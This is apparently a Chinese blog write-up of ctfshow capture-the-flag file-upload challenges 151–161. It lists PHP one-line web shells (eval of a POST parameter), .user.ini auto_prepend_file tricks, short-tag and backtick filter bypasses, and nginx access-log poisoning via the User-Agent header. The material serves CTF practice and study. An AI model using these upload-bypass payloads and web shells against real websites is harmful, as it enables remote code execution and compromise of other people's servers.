ctfshow文件上传

151

绕过前端验证
方法1:直接关闭浏览器的js
方法2:上传.png(只能是png,gif和jpg都不行)文件然后bp抓包后修改后缀为.php,内容为一句话

1
<?php @eval($_POST['shell']);?>

152

上传 shell.php然后抓包修改content-type为 image/png或者上传.png文件后修改后缀为.php

直接访问upload/shell.php然后 post传1=system(‘tac …/f*’); flag在当前文件所在位置的上一层。

153

上传user.ini进行文件上传绕过。
auto_prepend_file=shell.png
上传一句话木马,bp抓包修改后缀,用蚁剑连接

154,155

上传正常的图片马失败,发现是过滤的<xphp 其中的x是任意字

使用短标签绕过
1 前提是开启配置参数short_open_tags=on

1
2
3
<? echo '123';?>


2 不需要开启参数设置

1
<?=(表达式)?>  等价于 <?php echo (表达式)?>

3 前提是开启配置参数asp_tags=on

1
<% echo '123';%>

4 不需要修改参数开关,但是只能在7.0以下可用

1
<script language="php">echo '123'; </script>

156

在前面的基础上过滤了 []那我们直接用{}来代替
图片马内容`

1
<?=eval($_POST{1});?>`

157,158,159

过滤了{}和分号,那就直接输出flag

图片马内容

1
<?=`tac ../f*`?>

或者

1
<?=system('tac ../f*')?>

159

过滤了括号,那就用反引号就可以

1
<?=`tac ../f*`?>

160

利用日志包含绕过包含日志文件getshell
上传.user.ini文件(.png抓包修改)
上传shell文件(拼接绕过log过滤)

1
<?=include"/var/lo"."g/nginx/access.lo"."g"?>

修改ua头信息

1
<?=system('tac ../f*')?>

访问/upload/index.php得到flag

161

与160一致,加了GIF89a


ctfshow文件上传
http://example.com/2023/04/24/刷题/ctfshow文件上传/
作者
Englobe
发布于
2023年4月24日
许可协议